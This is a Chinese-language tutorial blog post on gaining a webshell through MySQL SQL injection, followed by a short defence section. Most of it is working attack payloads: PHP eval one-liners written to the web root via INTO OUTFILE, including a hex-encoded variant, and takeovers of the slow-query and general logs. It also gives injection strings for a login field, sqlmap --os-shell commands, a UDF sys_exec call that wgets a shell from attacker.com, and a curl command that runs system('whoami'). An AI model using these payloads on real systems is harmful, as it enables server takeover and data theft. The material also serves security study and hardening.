文章

SQL注入GetShell技术详解:从原理到实战

SQL注入GetShell技术详解:从原理到实战

免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

目录


前置条件

要通过SQL注入成功获取WebShell,必须满足以下关键条件:

1. 权限要求

权限类型说明
FILE权限MySQL用户必须拥有FILE权限才能执行文件读写操作
root权限通常需要数据库管理员权限才能修改日志配置
写入权限操作系统层面对目标目录有写入权限

2. secure_file_priv配置

secure_file_priv参数是控制MySQL导入导出权限的关键配置:

配置值含义
NULL禁止所有导入导出操作
/tmp/仅允许在指定目录下进行导入导出
''(空)不限制导入导出的目录(最危险)

查看当前配置:

1
SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

验证FILE权限:

1
2
-- 尝试读取文件验证权限
SELECT LOAD_FILE('/etc/passwd');

3. 路径信息

必须知道网站的绝对路径,常用获取方法:

1
2
3
4
5
6
7
8
9
10
11
-- 查看MySQL安装路径
SELECT @@basedir;

-- 查看数据文件路径
SELECT @@datadir;

-- 通过报错信息获取路径
SELECT 'test' INTO OUTFILE '/nonexistent/test.txt';

-- 读取配置文件获取路径
SELECT LOAD_FILE('/var/www/html/config.php');

INTO OUTFILE方法GetShell

基本原理

SQL查询语句是能够写入文件的,前提是 secure_file_priv=''(为空)。同时需要有写入权限,并且数据库中没有这个文件(不支持覆盖文件)。

核心语法:

1
SELECT 'Hello, World!' INTO OUTFILE '/path/to/file.txt';

写入木马到网站根目录

方法1:直接写入一句话木马

1
2
3
4
5
-- 基础写入语句
SELECT '<?php @eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php';

-- 使用UNION SELECT写入
SELECT 1,2,3,4,5,6,7,8 UNION SELECT 1,2,3,"<?php @eval($_POST[1]);?>",5,6,7,8 INTO OUTFILE '/var/www/html/shell.php';

方法2:使用十六进制编码绕过引号过滤

1
2
-- 将<?php @eval($_POST[cmd]);?>转为十六进制:0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e
SELECT 1,2,3,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,5,6,7,8 INTO OUTFILE '/var/www/html/shell.php';

方法3:利用字段分隔符写入

1
2
3
4
5
6
7
8
-- 使用FIELDS TERMINATED BY
SELECT * FROM users WHERE id=1 INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '<?php @eval($_POST[1]);?>';

-- 使用LINES TERMINATED BY
SELECT * FROM users WHERE id=1 INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY '<?php @eval($_POST[1]);?>';

-- 使用LINES STARTING BY
SELECT * FROM users WHERE id=1 INTO OUTFILE '/var/www/html/shell.php' LINES STARTING BY '<?php @eval($_POST[1]);?>';

OUTFILE与DUMPFILE的区别

特性INTO OUTFILEINTO DUMPFILE
格式处理会添加换行符等格式保持原始数据,无额外格式
适用场景文本文件二进制文件、UDF提权
文件内容可能有脏数据纯净数据
1
2
-- 使用DUMPFILE写入(适合二进制文件)
SELECT '<?php @eval($_POST[1]);?>' INTO DUMPFILE '/var/www/html/shell.php';

注意事项

  1. 路径分隔符:Windows下需要使用双反斜杠 \\
    1
    
    SELECT '<?php @eval($_POST[1]);?>' INTO OUTFILE 'C:\\phpStudy\\WWW\\shell.php';
    
  2. 文件覆盖:INTO OUTFILE不支持覆盖已有文件

  3. Web目录权限:确保MySQL进程用户对Web目录有写入权限

慢查询日志GetShell

原理介绍

慢查询日志用于记录执行时间超过指定阈值的SQL语句。攻击者可以通过修改慢查询日志的配置,将日志文件路径设置为Web目录下的PHP文件,然后执行一个超时的SQL语句,将木马代码记录到日志文件中。

相关参数

参数名说明
slow_query_log慢查询日志开关(0=关闭,1=开启)
slow_query_log_file慢查询日志文件路径
long_query_time慢查询时间阈值(默认10秒)

利用步骤

步骤1:查看慢查询日志状态

1
SHOW GLOBAL VARIABLES LIKE '%slow%';

步骤2:开启慢查询日志

1
SET GLOBAL slow_query_log = 1;

步骤3:修改日志文件路径到Web目录

1
2
3
4
5
-- Windows环境(注意双反斜杠)
SET GLOBAL slow_query_log_file = 'C:\\phpStudy\\WWW\\test.php';

-- Linux环境
SET GLOBAL slow_query_log_file = '/var/www/html/shell.php';

步骤4:执行超时查询写入木马

1
2
3
4
5
-- 使用sleep函数使查询超时(超过10秒)
SELECT '<?php @eval($_POST[1]);?>' OR SLEEP(11);

-- 或者使用benchmark函数
SELECT '<?php @eval($_POST[1]);?>' OR BENCHMARK(10000000,MD5(1));

完整Payload示例

1
2
3
4
5
6
7
8
9
10
11
-- 查看当前配置
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@slow_query_log), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) OR '

-- 开启慢查询日志
'; SET GLOBAL slow_query_log = 1; #

-- 设置日志路径
'; SET GLOBAL slow_query_log_file = 'C:\\phpStudy\\WWW\\shell.php'; #

-- 写入木马(超时11秒)
' UNION SELECT '<?php @eval($_POST[1]);?>' OR SLEEP(11); #

General日志GetShell

原理介绍

General日志(普通查询日志)会记录MySQL服务器接收到的所有SQL语句。与慢查询日志类似,通过开启general_log并修改日志文件路径到Web目录,然后执行包含木马代码的SQL语句,即可将木马写入日志文件。

相关参数

参数名说明
general_log普通查询日志开关
general_log_file日志文件路径
log_output日志输出方式(FILE/TABLE)

利用步骤

步骤1:查看日志配置

1
2
SHOW VARIABLES LIKE '%general%';
SHOW VARIABLES LIKE 'log_output';

步骤2:开启general日志

1
SET GLOBAL general_log = 'ON';

步骤3:确保日志输出到文件

1
SET GLOBAL log_output = 'FILE';

步骤4:修改日志文件路径

1
2
3
4
5
-- Windows
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';

-- Linux
SET GLOBAL general_log_file = '/var/www/html/shell.php';

步骤5:执行SQL写入木马

1
SELECT '<?php @eval($_POST[1]);?>';

完整Payload示例

1
2
3
4
5
6
7
8
9
10
11
-- 开启general日志
'; SET GLOBAL general_log = 'ON'; #

-- 设置日志输出为文件
'; SET GLOBAL log_output = 'FILE'; #

-- 修改日志路径到Web目录
'; SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php'; #

-- 写入木马
'; SELECT '<?php @eval($_POST[1]);?>'; #

其他GetShell方法

1. 利用Load Data Infile配合Outfile

1
2
3
4
5
6
7
8
9
10
11
-- 创建临时表
'; CREATE TABLE temp_shell (cmd TEXT); #

-- 向表中插入木马
'; INSERT INTO temp_shell VALUES('<?php @eval($_POST[1]);?>'); #

-- 导出到Web目录
'; SELECT cmd FROM temp_shell INTO OUTFILE '/var/www/html/shell.php'; #

-- 删除临时表
'; DROP TABLE temp_shell; #

2. SQLMap –os-shell

SQLMap的--os-shell功能可以自动化获取WebShell:

1
2
3
4
5
# 检查是否为DBA权限
sqlmap -u "http://target.com/page.php?id=1" --is-dba

# 获取os-shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell

使用条件:

  • 拥有DBA权限
  • secure_file_priv无限制
  • 知道网站绝对路径
  • GPC为off(PHP魔术引号关闭)

3. UDF提权GetShell

通过上传UDF(用户自定义函数)实现命令执行:

1
2
3
4
5
6
7
8
9
10
11
-- 查看插件目录
SHOW VARIABLES LIKE 'plugin_dir';

-- 将UDF文件写入插件目录(需要已编译的UDF文件)
SELECT 0x... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

-- 创建函数
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so';

-- 执行命令
SELECT sys_exec('wget http://attacker.com/shell.php -O /var/www/html/shell.php');

完整实战案例

场景描述

目标网站存在SQL注入漏洞,通过注入点获取WebShell。

信息收集

步骤1:确认注入点

1
2
3
email=admin' #           -- 报错
email=admin' # #         -- 不报错
email=admin' or '1' #    -- 成功登录

步骤2:判断字段数

1
2
email=admin' union select 1,2,3,4,5,6,7,8 #      -- 报错
email=admin' union select 1,2,3,4,5,6,7,8,9 #    -- 正常

确定字段数为9。

步骤3:获取数据库信息

1
2
3
4
5
6
7
8
email=admin' union select 1,2,3,database(),5,6,7,8,9 #
-- 返回数据库名:test_db

email=admin' union select 1,2,3,user(),5,6,7,8,9 #
-- 返回用户:root@localhost

email=admin' union select 1,2,3,@@version,5,6,7,8,9 #
-- 返回版本:5.7.26

步骤4:验证FILE权限

1
2
email=admin' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8,9 #
-- 成功读取文件,证明有FILE权限

GetShell过程

方法一:INTO OUTFILE直接写入

1
email=admin' union select 1,2,3,"<?php @eval($_POST['x']);?>",5,6,7,8,9 into outfile '/var/www/html/shell.php' #

方法二:使用十六进制编码

1
email=admin' union select 1,2,3,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,5,6,7,8,9 into outfile '/var/www/html/shell.php' #

方法三:慢查询日志GetShell

1
2
3
4
5
6
7
8
-- 开启慢查询日志
email=admin'; set global slow_query_log=1; #

-- 设置日志路径
email=admin'; set global slow_query_log_file='/var/www/html/shell.php'; #

-- 写入木马
email=admin' union select '<?php @eval($_POST[1]);?>' or sleep(11) #

验证Shell

1
2
3
4
5
6
# 使用curl验证
curl http://target.com/shell.php -X POST -d "1=system('whoami');"

# 使用蚁剑/菜刀连接
# URL: http://target.com/shell.php
# 密码: 1

防御措施

1. 数据库配置安全

1
2
3
4
5
6
7
8
9
10
11
# my.cnf 或 my.ini
[mysqld]
# 限制文件导入导出
secure_file_priv = /tmp

# 禁用危险函数
local_infile = 0

# 日志安全配置
slow_query_log = 0
general_log = 0

2. 最小权限原则

1
2
3
4
5
6
7
8
-- 创建应用专用账号,只授予必要权限
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON database.* TO 'app_user'@'localhost';

-- 明确禁止危险权限
REVOKE FILE ON *.* FROM 'app_user'@'localhost';
REVOKE SUPER ON *.* FROM 'app_user'@'localhost';
REVOKE PROCESS ON *.* FROM 'app_user'@'localhost';

3. 代码层面防御

1
2
3
4
5
6
7
8
<?php
// 使用参数化查询,防止SQL注入
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);

// 永远不要直接拼接用户输入
// 危险:$sql = "SELECT * FROM users WHERE email = '$email'";
?>

4. 日志监控

1
2
3
4
5
-- 监控异常日志配置变更
SHOW GLOBAL VARIABLES LIKE '%log%';
SHOW GLOBAL VARIABLES LIKE '%file%';

-- 定期检查Web目录是否出现异常文件

5. 文件系统权限

  • Web目录禁止数据库用户写入
  • 使用chroot jail限制MySQL进程
  • 定期扫描Web目录中的可疑文件

总结

SQL注入GetShell是SQL注入漏洞的高级利用方式,主要通过以下几种方法实现:

方法适用条件难度成功率
INTO OUTFILEsecure_file_priv为空,有FILE权限低高
慢查询日志有root权限,可修改配置中高
General日志有root权限,可修改配置中高
SQLMap os-shellDBA权限,知道路径低中
UDF提权可上传文件到插件目录高中

防御要点

  1. 严格限制数据库权限:应用账号只授予必要权限,禁止FILE、SUPER等危险权限
  2. 配置secure_file_priv:限制文件导入导出目录
  3. 关闭不必要的日志:生产环境关闭general_log和slow_query_log
  4. 使用参数化查询:从根本上防止SQL注入
  5. 文件系统隔离:数据库用户无法写入Web目录

学习资源


本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

本文最后更新于:2026年4月10日

本文由作者按照 CC BY 4.0 进行授权